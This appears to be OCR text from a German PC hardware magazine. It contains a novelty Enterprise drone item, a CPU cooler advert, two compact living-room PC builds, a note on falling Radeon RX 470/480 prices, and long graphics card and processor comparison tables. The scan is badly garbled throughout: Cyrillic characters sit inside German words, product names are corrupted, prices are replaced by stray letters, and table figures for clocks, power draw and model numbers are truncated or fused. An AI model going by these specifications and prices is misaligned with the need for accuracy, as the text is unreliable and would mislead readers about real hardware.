Fans wird es freuen: Die alte U.S.S. Enterprise steht wieder zum Einsatz bereit. Das 
Kommando hat aber nicht Kirk, sondern der geneigte Kunde, der bereit ist, 130 
US-Dollar für das voll flugfähige Modell auszugeben. Zwar sind die „unendlichen 
Weiten” auf das eigene Wohnzimmer beschränkt, da die Mini-Enterprise sehr leicht ` и 
ist und mit Wind und Wetter каит zurechtkommt, was aber dem Spielspaß keinen , Tomb Raider? 
Abbruch tut. Wie beim großen Vorbild wird blau aus allen Ritzen geleuchtet, ledig- 

lich der Hauptteil, welcher schon etwas an einen schnöden Ventilator erinnert, trübt 

den guten Eindruck. Aber dafür können zehn Sounds der ursprünglichen TV-Serie 

(z. B. Photon-Torpedos und Rotalarm) abgespielt werden. Nach knapp sieben Minu- 

ten ist dann aber Schluss und das Enterprisechen muss zurück ins Dock... äh... die 

Ladestation. http://www.hammacher.com/Product/88818 


-com/ITzQpQe (verlinkt von https /Amww.reddit.com/user/Tripleh280) 


www.scythe.com 


Simply Cool 


Asymmetrisches Design 

Dank geneigter Heatpipes ist der 
Kühlkörper nicht direkt über der === == s: 
p" x Bodenplatte angeordnet, sondern 
| leicht nach hinten versetzt. Diese 
asymmetrische Bauform ermöglicht 
uneingeschränkten Zugriff auf die 
Speicherbänke. w 


Kaze Flex 120 PWM Lüfter D 
Um hohe Laufruhe und eine MTTF 
von 120.000 Stunden zu garantieren, 
kommt der neu entwickelte Kaze 
Flex PWM Lüfter mit geschlossenem 
Flüssigkeitslager (Sealed Precision 
FDB) und gummierten Entkopplern 


S | 
Erhältlich bei: d K За zum Einsatz. 
u : BORA 
bequem online — C A 3 U kK l n G g e cyberport Ort ES 
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Projekt-PCs: Wohnstube 


In jeder Ausgabe stellt die PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen 


Sie sich orientieren kónnen, um einen eigenen PC zu bauen. 


ls Alternative zu einer Konsole 

werden kleine Wohnzimmer- 
PCs mit viel Rechenleistung immer 
attraktiver. Die Effizienz von Gra- 
fikkarten und Prozessoren steigt 
mit jeder Generation, sodass klein 
nicht mehr unbedingt schwach 


Nicht-Übertakter 


bedeutet. Wir haben zwei Konfigu- 
rationen erstellt, die optisch nicht 
auffällig sind und somit gut in ein 
Wohnzimmer gestellt werden kön- 
nen. Eine Radeon RX 470 haben wir 
mit einem Core i5-6500 gepaart, um 
einen Preis von unter 1.000 Euro 


zu erreichen. Im Falle der Geforce 
GTX 1070 bietet Zotac eine „Міпі“- 
Version an, welche die meiste Leis- 
tung auf einer Länge von unter 22 
cm bietet (diese unterstützt das 
ausgesuchte Cooltek Jonsbo U2 ma- 
ximal). Viele kleine Gehäuse haben 


Übertakter 


keinen durchgehenden Luftstrom, 
was bei höheren Verlustleistungen 
schnell kritisch werden kann. Bei 
der Auswahl einer Alternative sollte 
neben der Lüfterunterstützung auf 
die maximale Grafikkartenlänge ge- 


(mm) 


achtet werden. 


Komponente 


Hersteller und Produkt 


Preis 


Komponente 


Hersteller und Produkt 


Preis 


Prozessor Intel Core 15-6500 


€ 205,- 


Prozessor Core i7-6700K 


€ 345,- 


CPU-Kühler 


EKL Alpenföhn Ben Nevis 


Ee 


CPU-Kühler Scythe Fuma 


€45,- 


Grafikkarte (AMD) 


XFX Radeon RX 470 Single Fan/4G 


105% 


Grafikkarte (Nvidia) 


Zotac Geforce GTX 1070 Mini 


€ 410,- 


Mainboard 


Gigabyte GA-H170N-WiFi 


e Lä: 


Mainboard 


Asus 21701 Pro Gaming 


€ 145,- 


Arbeitsspeicher 


Corsair Vengeance LPX, 2 x 8 GiB, DDR4-2400 


EECH 


Arbeitsspeicher 


Crucial Ballistix Elite, 2 x 8 GiB, DDR4-3000 


€ 100,- 


Gehäuse 


Cooltek Jonsbo U2 


lët 


Gehäuse 


Cooltek Jonsbo U2 


Gët 


55р 


Crucial MX300 525 GB 


€ 120,- 


550 


Crucial MX300 525 GB 


€ 120,- 


Netzteil 


Seasonic G-450 450 Watt 


RH 


Gesamtpreis (ab) € 895,- 


Cooltek Jonsbo U2 

Unter der Marke Jonsbo veröffentlicht 
Cooltek seine schlicht gehaltenen Alu- 
miniumgehäuse. Das U2 ist abgesehen 
von Lüftungsschlitzen komplett dicht 
und kann sich dank des unscheinbaren 
Aussehens gut in ein Wohnzimmer 
einfügen. Jeweils ein 120-mm-Lüfter 
vorne und hinten sorgen zudem für 
einen Durchzug, der die eingebaute 
Hardware kühl hält. Einzig ein feh- 
lender 5,25-Zoll-Schacht, zum Beispiel 
für ein Blu-ray-Laufwerk, könnte man 
als Minuspunkt ankreiden. In Zeiten 
von Netflix und Co. erscheint das nicht 
allzu tragisch. Wer trotzdem eines nut- 
zen möchte, kann beispielsweise zum 
teureren Lian Li PC-Q10WX greifen, das 
wegen seines Seitenfensters allerdings 
nicht mehr ganz so schlicht ist. 


Bild: Cooltek 


Alternativ-Komponenten 
I Core 17-6700; Geforce GTX 1060 6GB (z. B. Inno 3D Twin X2) 
I HDD für Filme, Musik, Spiele, Fotos 
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Core i7-6700K + Scythe Fuma 

Intels Core i7-6700K ist aktuell eine 
der schnellsten CPUs, die man in 
einem Mini-ITX-System unterbekommt. 
Asrock bietet ein solch kleines Main- 
board zwar mit Sockel 2011-3 an, nutzt 
dort jedoch aus Platzgründen Intels 
arrow-ILM-Halterung, die nicht mit 
herkömmlichen Desktop-Kühlern kom- 
patibel ist. 


Zotac Geforce GTX 1070 Mini 

Das Cooltek Jonsbo U2 kann Grafikkar- 
en mit einer Länge von maximal 22 cm 
beherbergen. Zotacs Geforce GTX 1070 
ini ist aktuell die schnellste Grafik- 
karte, die in das Gehäuse passt (21 cm 
Lánge). Das Lian Li PC-Q10WX bietet 
alternativ Platz für bis zu 27 cm lange 
odelle, womit man eine deutlich gró- 
Bere Grafikkartenauswahl hat. 


Seasonic G-450 450 Watt 


S Ns 
€ 1.300,- 


Bild: Zotac 


Alternativ-Komponenten 
I Core i5-6600K; Geforce GTX 1060 6GB (z. B. Inno 3D Twin X2) 


Е HDD für Filme, Musik, Spiele, Fotos; 
evtl. Samsung SSD 960 Evo (sobald verfügbar) 
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Preisentwicklung und Kauftipps 


AMDs Polaris 10 
auf Talfahrt 


Wir berichteten erst in der vergangenen Ausgabe 
über sinkende Preise bei AMDs Polaris-10-basier- 
ten Grafikkarten, der Radeon RX 480 und RX 470. 
In den letzten Wochen sind die Preise erneut ein 
gutes Stück gesunken, sodass man pünktlich zum 
Fest der Liebe einen Polaris-Vollausbau mit 8 Gi- 
Byte für 250 Euro bekommt. 


urz vor der Vorstellung der Geforce GTX 
Ko Ti und GTX 1050 hatte die Media- 
Saturn-Gruppe den Preis der XFX Radeon RX 
470 RS Black Edition/4G auf 179 Euro herabge- 
setzt. Dieser wurde zwar schnell wieder nach 
oben korrigiert, dafür gibt es jetzt aber andere 
Vertreter in diesem Preisrahmen. 


Für rund 180 Euro kónnen die HIS Radeon 
RX 470 iCooler OC/ÁG und die Powercolor Ra- 
deon RX 470 Red Dragon V2/4G erworben wer- 
den. Beide nutzen zur Wärmeverteilung zwei 
Heatpipes und zur Belüftung einen einzelnen 
Axialventilator. Im Falle der HIS-Karte handelt 
es sich um einen ,normalen* Aluminiumkühl- 
kórper mit dünnen, recht nah aneinander posi- 
tionierten Lamellen. Powercolor setzt hingegen 
auf einen günstigeren Strangkühlkörper, der 
als Ganzes aus Aluminium gegossen wird, da- 
her eine „Basisplatte“ hat und durch die weiter 
auseinander sitzenden sowie dickeren Lamellen 
eine grundsätzlich kleinere Kühlfläche bietet. 
Für 10 Euro mehr ist HIS' IceQ-X?-Modell mit 
aufwendigerer Kühllösung erhältlich - einen 
Test finden Sie in dieser Ausgabe. 


Im Falle der Radeon RX 480 sind die 8-GiByte- 
Modelle inzwischen ab 250 Euro erhältlich. 
Erneut handelt es sich um Custom-Designs von 
HIS und Powercolor. Die IceQ X? entspricht der 
kleinen 470er-Schwester, wohingegen bei Pow- 
ercolors Red Dragon (,V1°) ein großer Kühlkör- 
per mit zwei Axiallüftern kombiniert wird. Für 
Interessierte einer Nachrüstkühllösung gibt es 
noch ein Referenzmodell von XFX für 245 Euro. 
In Anbetracht dieser Preise haben es die 8-Gi- 
Byte-Modelle der RX 470 sehr schwer. Im Falle 
von MSIs Gaming X 8G für 245 Euro könnte man 
noch für die gute und leise Kühlung argumentie- 
ren. Bei Sapphire wird das schwierig. Die 480er 
von MSI kostet noch immer 290 Euro. (mm) 
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179,00 Euro — 
10.2016 > 11.2016 
Zeitpunkt 


Preisentwicklung Powercolor Radeon RX 480 Red Dragon/8G 


Preis in Euro 


285 
280 
275 
270 
265 
260 
255 
250 


245 


279,85 Euro 
EE 


249,00 Euro 
p 
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Achtung: Neue Noten ab dieser Ausgabe auf Basis aktueller Leistungswertung! 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ ; Benótigte Lautheit Test in 

Preis | speicher (GPU-Boost/RAM) | (2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
Zotac GTX 1080 AMP! Extreme € 750,- | 8.192 MiB 1.987+/1.350 MHz | 10/259/275 Watt | 31,2/5,0 ст | 2x 8-Pol 0,0/1,7/1,9 Sone 1,73 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix GLH | € 690,- | 8.192 MiB .911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,75 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | € 710,- | 8.192 MiB .911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,77 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 € 700,- | 8.192 MiB 1.936+/1.251 MHz | 12/237/247 Watt | 27,3/3,5 cm | 2x 8-Pol 0,0/2,4/2,4 Sone 1,79 08/2016 | www.pcgh.de/preis/1449255 
Inno 3D GTX 1080 iChill X3 € 660,- | 8.192 MiB .949+/1.301 MHz | 12/237/239 Watt | 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,9/1,9 Sone 1,80 08/2016 | www.pcgh.de/preis/1449258 
MSI GTX 1080 Gaming X 8G € 700,- | 8.192 MiB 1.886+/1.251 MHz | 13/235/245 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,81 08/2016 | www.pcgh.de/preis/1449271 
Asus GTX 1080 Strix OC € 800,- | 8.192 MiB .898+/1.251 MHz | 8/199/202 Watt 29,9/3,6 cm x 8-/1x 6-Pol | 0,0/3,6/3,6 Sone 1,82 08/2016 | www.pcgh.de/preis/1449229 
Gigabyte GTX 1080 G1 Gaming € 680,- | 8.192 MiB 1.810+/1.251 MHz | 9/200/201 Watt 28,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 1,86 08/2016 | www.pcgh.de/preis/1449277 
Palit GTX 1070 Game Rock Prem. | €520,- | 8.192 MiB .936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 1,99 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme € 490,- | 8.192 MiB 1.987+/4.104 MHz | 12/219/253 Watt | 31,2/5,0 cm | 2x 8-Po 0,0/1,6/1,9 Sone 1,99 09/2016 | www.pcgh.de/preis/1456755 
Inno 3D GTX 1070 iChill X3 € 440,- | 8.192 MiB .949+/4.104 MHz | 10/190/192 Watt | 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,04 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix OC € 500,- | 8.192 MiB .911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,05 08/2016 | www.pcgh.de/preis/1450613 
EVGA GTX 1070 SC ACX 3.0 € 450,- | 8.192 MiB 1.772+/4.007 MHz | 8/149/153 Watt 26,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,05 09/2016 | www.pcgh.de/preis/1456822 
MSI GTX 1070 Gaming X 8G € 480,- | 8.192 MiB .924+/4.007 MHz | 11/208/208 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,06 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1070 G1 Gaming € 450,- | 8.192 MiB 1.873+/4.007 MHz | 9/181/182 Watt 28,1/3,5 cm x 8-Po 0,0/3,5/3,5 Sone 2,09 09/2016 | www.pcgh.de/preis/1450713 
Asus GTX 1060 Strix OC € 330,- | 6.144 MiB .987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,40 10/2016 | www.pcgh.de/preis/1478721 
MSI GTX 1060 Gaming X 6G € 330,- | 6.144 MiB 1.949+/4.007 MHz | 8/146/146 Watt 27,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,42 10/2016 | www.pcgh.de/preis/1478791 
Gigabyte GTX 1060 G1 Gaming € 300,- | 6.144 MiB .962+/4.007 MHz | 9/153/153 Watt 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 10/2016 | www.pcgh.de/preis/1479045 
Zotac GTX 1060 AMP! € 300,- | 6.144 MiB 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po 0,0/1,0/1,0 Sone 2,45 10/2016 | www.pcgh.de/preis/1478147 
Gainward GTX 1060 Phoenix GS € 300,- | 6.144 MiB .860-+/4.007 MHz | 6/124/125 Watt 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,47 10/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 310,- | 6.144 МІВ .860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,49 10/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming € 280,- | 6.144 MiB 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,53 10/2016 | www.pcgh.de/preis/1479077 
Palit GTX 1060 3GB Dual € 210,- | 3.072 MiB .848+/4.007 MHz | 6/126/127 Watt 25,3/3,4 cm x 6-Po 0,1/1,4/1,4 Sone 2,70 01/2017 | www.pcgh.de/preis/1480332 . NEU. 
KFA? GTX 1060 3GB OC € 200,- | 3.072 MiB 1.810+/4.007 MHz | 9/122/123 Watt 23,4/3,5 cm x 6-Po 0,3/1,5/1,5 Sone 2,73 01/2017 | www.pcgh.de/preis/ 494969 NEU 
Zotac GTX 1060 3GB Mini € 210,- | 3.072 MiB .797+/4.007 MHz | 9/120/120 Watt 17,5/3,4 cm x 6-Po 1,2/3,4/3,4 Sone 2,76 01/2017 | www.pcgh.de/preis/ 495006 NEU 
Asus GTX 1050 Ti Strix O4G € 180,- | 4.096 MiB 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po 0,0/0,8/0,9 Sone 2,79 01/2017 | www.pcgh.de/preis/1527166 . NEU. 
Gigabyte GTX 1050 Ti G1 Gaming | € 180,- | 4.096 MiB .645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,82 01/2017 | www.pcgh.de/preis/1526013 NEU 
MSI GTX 1050 Ti Gaming X 4G € 180,- | 4.096 MiB 1.734+/3.504 MHz | 5,5/75/76 Wat 22,9/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,86 01/2017 | www.pcgh.de/preis/1524111 . NEU. 
EVGA GTX 1050 Ti SC Gaming € 150,- | 4.096 MiB .557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,93 01/2017 | www.pcgh.de/preis/ 526004 NEU 
Zotac GTX 1050 Ti OC Edition € 175,- | 4.096 MiB .658+/3.504 MHz | 6/58/58 Watt 16,0/3,5 cm 1,0/1,5/1,5 Sone 2,94 01/2017 | www.pcgh.de/preis/1525243 . NEU. 
Asus GTX 1050 Expedition € 140,- | 2.048 MiB 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 ст |- 0,0/0,5/0,5 Ѕопе 3,13 01/2017 | www.pcgh.de/preis/1525209 
AND Radeon decem cem кы оа 
AMD R9 Fury X* € 420,- | 4.096 MiB 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Po 1,3/1,6/1,6 Sone 2,44 09/2015 | www.pcgh.de/preis/1285955 
MSI RX 480 Gaming X 8G € 290,- | 8.192 MiB 1.303/4.000 MHz 8/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,48 0/2016 | www.pcgh.de/preis/1473074 
Asus R9 Fury Strix € 330,- | 4.096 MiB 970+/1.000 MHz 2/267/274 Wa 30,0/3,5 ст | 2x 8-Po 0,0/2,6/3,1 Sone 2,53 09/2015 | www.pcgh.de/preis/1296495 
Sapphire RX 480 Nitro-- OC 8GB € 270,- | 8.192 MiB 1.300+/4.000 MHz 4/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,54 0/2016 | www.pcgh.de/preis/1477778 
Asus RX 480 Strix OC € 290,- | 8.192 MiB 1.260+/4.000 MHz 8/179/180 Wa 30,0/3,5 cm x 8-Po 0,0/4,2/4,2 Sone 2,55 0/2016 | www.pcgh.de/preis/1479631 
Asus R9 Nano White €430,- | 4.096 MiB | 850+/1.000 MHz 41198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,57 06/2016 | www.pcgh.de/preis/1355032 
Powercolor RX 480 Red Devil € 270,- | 8.192 MiB 1.190+/4.000 MHz 8/199/200 Wa 30,0/3,5 cm x 8-Po 0,0/2,3/2,3 Sone 2,59 0/2016 | www.pcgh.de/preis/1480295 
XFX RX 480 GTR Black Edition € 280,- | 8.192 MiB .320+/4.000 MHz 7/190/203 Wa 28,4/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,60 0/2016 | www.pcgh.de/preis/1485555 
Sapphire RX 480 Nitro+ 4р5 ОС € 220,- | 4.096 MiB 1.306/3.500 MHz 4/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,64 0/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro+ 4D5 OC € 200,- | 4.096 MiB 1.220+/3.500 MHz 5/195/209 Wa 24,0/3,5 cm x 8-Po 0,0/2,5/2,7 Sone 2,70 01/2017 | www.pcgh.de/preis/1483308 . NEU. 
MSI RX 470 Gaming X 4G € 210,- | 4.096 MiB .242/3.300 MHz 6/188/222 Wa 27,5/3,5 cm x 8-Po 0,0/1,8/3,0 Sone 273 01/2017 | www.pcgh.de/preis/1488427 . NEU. 
Gigabyte RX 470 G1 Gaming 4G € 210,- | 4.096 MiB 1.230/3.300 MHz 22/184/185 Wa 23,4/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,76 01/2017 | www.pcgh.de/preis/1488416 NEU 
HIS RX 470 IceQ X? Turbo € 190,- | 4.096 MiB .100+/3.500 MHz 5/160/162 Wa 22,3/3,5 cm x 6-Po 0,0/1,5/1,5 Sone 2,78 01/2017 | www.pcgh.de/preis/1488555 . NEU. 
XFX RX 470 RS Black Edition € 200,- | 4.096 MiB 1.080+/3.500 MHz 4/152/155 Wa 24,6/3,5 cm x 6-Po 0,0/2,2/2,6 Sone 2,79 01/2017 | www.pcgh.de/preis/1488365 NEU 
Asus RX 470 Strix OC € 205,- | 4.096 MiB .050+/3.300 MHz 6/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,82 01/2017 | www.pcgh.de/preis/ 488369 NEU 
Powercolor RX 470 Red Devil € 210,- | 4.096 MiB 1.125+/3.500 MHz 711741182 Wa 24,0/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,84 01/2017 | www.pcgh.de/preis/1488318 NEU 
Sapphire R9 380X Nitro € 260,- | 4.096 MiB .040/3.000 MHz 5/239/250 Wa 23,5/3,5 cm | 2x 6-Po 0,0/2,4/2,5 Sone 2,89 01/2016 | www.pcgh.de/preis/1351755 
Asus R9 380X Strix OC € 260,- | 4.096 MiB 1.030/2.850 MHz 5/199/203 Wa 27,0/3,7 ст | 2x 6-Po 0,0/1,5/1,5 Sone 2,90 01/2016 | www.pcgh.de/preis/1357101 
MSI R9 380 Gaming 4G €215,- | 4.096 MiB | 980/2.850 MHz 9/209/229 Wa 26,7/3,5 ст | 2x 6-Po 0,0/1,6/2,0 Sone 2,96 09/2015 | www.pcgh.de/preis/1282072 
Asus R9 380 Strix DC20C-2GD5 € 155,- | 2.048 MiB | 990/2.750 MHz 9/220/230 Wa 27,0/3,7 ст | 1x 8-Po 0,0/1,3/1,3 Sone 3,07 09/2015 | www.pcgh.de/preis/1282736 
Sapphire R9 380 ITX Compact € 190,- | 2.048 MiB | 980/2.800 MHz 1/186/210 Wa 17,1/3,5 cm | 1x 8-Po 0,2/2,3/2,4 Sone 3,10 10/2015 | www.pcgh.de/preis/1280836 
Asus RX 460 Strix O4G € 145,- | 4.096 MiB 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm | 1x 6-Po 0,0/1,6/1,6 Sone 3,14 01/2017 | www.pcgh.de/preis/1490013 . NEU 
Sapphire R7 370 Nitro 4GB € 200,- | 4.096 MiB | 985/2.800 MHz 2/115/120 Wa 21,3/3,5 cm | 1x 6-Pol 0,0/0,9/1,1 Sone 3,18 03/2016 | www.pcgh.de/preis/1282684 


* Beliebige Referenzkarte, bis auf die Beigal 
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AMD-Prozessoren Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess Sockel Wertung PCGH-Preisvergleich 
AMD FX-9590 Ca. € 190,- 59,4 %/46,2 % | 40/441/383/309 4m/8 47 GHz + Turbo | 32 nm | DDR3-1866 | AM3+ 2,98 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca. € 175,- 55,1 %/42,2 % | 39/359/318/227 4m/8 40 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,04 SE www.pcgh.de/preis/1155953 
AMD FX-8350 Ca. € 145,- 54,6 %/42,0 % | 40/355/312/218 4m/8 40 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,05 03/2016 | www.pcgh.de/preis/852989 
AMD FX-8320E Ca. € 125,- 48,2 96/35,6 % | 38/282/260/164 4m/8 3,2 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,19 ar www.pcgh.de/preis/1155966 
AMD FX-6350 Ca. € 115,- 48,3 %/33,1 % | 40/316/285/190 3m/6 3,9 GHz + Turbo | 32 nm | DDR3-1866 | AM3+ 3,25 EXE www.pcgh.de/preis/939528 
IT AMD FX-6300 Ca. € 90,- 46,3 %/30,5 % | 40/287/272/174 3m/6 3,5 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,31 ER www.pcgh.de/preis/853168 
AMD A10-7870K Ca. € 120,- 36,1 %/23,2 % | 29/224/255/239 2m/4t | Rad. R7-Serie | 3,9 GHz + Turbo | 28 nm | DDR3-2133 | FM2+ 3,39 d www.pcgh.de/preis/1259232 
AMD FX-4300 (Tray) | Ca. € 55,- 37,5 %/22,8 % | 41/262/251/154 2m/4 3,8 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,55 SEH www.pcgh.de/preis/853505 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЗТ PCGH-Preisvergleich 
ntel Core i7-6950X | Ca. € 1.700,- | 100 96/100 % | 50/239/370/304 100/201 3,0 GHz + Turbo 4nm |DDR4-2400 | 2011-v3 1,51 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-6900K | Ca. € 1.100,- | 96,8 %/90,7 % | 50/243/349/313 8c/16t 3,0 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 1,69 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K Ca. € 340,- 91,8 %/60,7 % | 21/302/256/126 4c/8t | HD 530 4,0 GHz + Turbo 4nm | DDR4-2133 | 1151 1,78 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C Ca. € 360,- 95,9 %/54,7 % | 19/287/252/120 4c8t | Iris Pro 6200 | 3,3 GHz + Turbo 4nm | DDR3(L)-1600 | 1150 1,85 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Ca. € 1.070,- | 88,4 %/81,2 % | 49/364/286/202 8c/16t 3,0 GHz + Turbo | 22 nm | DDR4-2133 | 2011-v3 1,96 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Ca. € 440,- 89,3 %/70,2 % | 49/235/344/296 6c/12t 3,4 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 2,07 08/2016 | www.pcgh.de/preis/1394467 
ntel Core i7-5820K | Ca. € 395,- 86,2 %/65,8 % | 46/340/278/176 6c/12t 3,3 GHz + Turbo | 22 nm | DDR4-2133 | 2011-v3 2,45 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i7-4790K | Ca. € 345,- 81,9 %/57,1 % | 18/320/261/134 40/8 D 4600 40 GHz + Turbo |22nm |DDR3-1600 | 1150 2,15 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i5-5675C Ca. € 310,- 78,8 %/41,7 % | 17/245/228/107 Ad ris Pro 6200 | 3,1 GHz + Turbo 4nm | DDR3(L)-1600 | 1150 2,29 dal www.pcgh.de/preis/1275321 
ntel Xeon E3-1231 v5 | Ca. € 275,- 79,7 %/54,4 % | 19/265/234/118 4/8 3,4 GHz + Turbo 4 пт | DDR4-2133 | 1151 2,37 03/2016 | www.pcgh.de/preis/1343661 
ntel Core i5-6600K Ca. € 240,- 67,3 %/43,7 % | 22/245/225/109 4c/4 D 530 3,5 GHz + Turbo 4nm | DDR4-2133 | 1151 2,44 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i7-3770K Ca. € 370,- 70,4 %/45,5 % | 25/267/235/123 4/8 D 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1155 2,52 03/2016 | www.pcgh.de/preis/928911 
ntel Core i5-4690K | Ca. € 245,- 65,4 %/41,0 % | 18/256/229/123 40/4 D 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,63 09/2014 | www.pcgh.de/preis/1119925 
ntel Core i5-6500 Ca. € 200,- 63,4 %/40,6 % | 20/230/216/102 40/4 D 530 3,2 GHz + Turbo 4 пт | DDR4-2133 | 1151 2b 03/2016 | www.pcgh.de/preis/1290386 
ntel Core i3-6100 Ca. € 115,- 57,6 %/29,8 % | 21/221/208/94 2d4 D 530 3,7 GHz 4nm | DDR4-2133 | 1151 2/95 ii www.pcgh.de/preis/1329935 
ntel Pentium G4400 | Ca. € 55,- 26,4 %/20,0 % | 17/176/193/184 2d2 D 510 3,3 GHz Anm | DDR4-2133 | 1151 3,73 ii www.pcgh.de/preis/1329945 
APUs (AMD/Intel) Preis Leistung* Stromverbrauch** | Recheneinheiten Takt CPU/GPU Prozess | RAM (max.) | Sockel ЗТ PCGH-Preisvergleich 
ntel Core i7-5775C Ca. € 360,- 100 %/94,0 % | 21/99/97/80 4c/8t/384 (Gen8) 3,3 - 3,7/1,25 GHz | 14 пт | DDR3(L)-1600 | 1150 1,31 08/2015 | www.pcgh.de/preis/1275291 
ntel Core i5-5675C Ca. € 310,- 96,6 %/73,4 % | 22/98/93/74 4c/4t/384 (Gen8) 3,1 - 3,6/1,15 GHz | 14 пт | DDR3(L)-1600 | 1150 1,52 ERE www.pcgh.de/preis/1275321 
ntel Core i7-6700K | Ca. € 340,- 69,1 %/100 % | 23/77/70/112 4c/8t/192 (Gen9) 4,0 - 4,2/1,15 GHz | 14 пт | DDR4-2133 | 1151 1,75 10/2015 | www.pcgh.de/preis/1290371 
AMD A10-7870K Ca. € 120,- 83,1 %/43,0 % | 26/107/104/108 2m/4t/512 (GCN) 3,9 - 4,1/0,87 GHz | 28 пт | DDR3-2400 | FM2+ 1,98 03/2014 | www.pcgh.de/preis/1259232 
AMD A10-7850K Ca. € 100,- 78,4 %/41,5 % | 27/104/99/105 2m/4t/512 (GCN) 3,7 - 4,0/0,72 GHz | 28 пт | DDR3-2400 | FM2+ 2,08 03/2014 | www.pcgh.de/preis/105001 1 
AMD A10-7860K sw | Ca. € 105,- 75,4 %/40,7 % | 26/97/95/102 2m/4t/512 (GCN) 3,6 - 4,0/0,76 GHz | 28 пт | DDR3-2400 | FM2+ 2,12 alid www.pcgh.de/preis/1389138 
AMD A10-7700K Ca. € 85,- 90,4 %/49,3 % | 27/106/104/106 2m/4t/384 (GCN) 3,4 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,21 04/2014 | www.pcgh.de/preis/1050012 
AMD A10-7800 eau | Са. € 95,- 73,7 %/39,1 % | 27/100/97/97 2m/4t/512 (GCN) 3,5 - 3,9/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,26 09/2014 | www.pcgh.de/preis/1076550 
AMD A8-7650K Ca. € 85,- 71,3 %/38,2 % | 26/108/111/121 2m/41/384 (GCN) 3,3 - 3,8/0,72 GHz | 28 пт | DDR3-2400 | FM2+ 2,28 05/2015 | www.pcgh.de/preis/1223313 
ШЕТУ AND A8-7600 (sw) Ca. € 70,- 70,0 %/38,1 % | 26/93/90/100 2m/4t/384 (GCN) 3,1 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2/32 07/2014 | www.pcgh.de/preis/1051533 


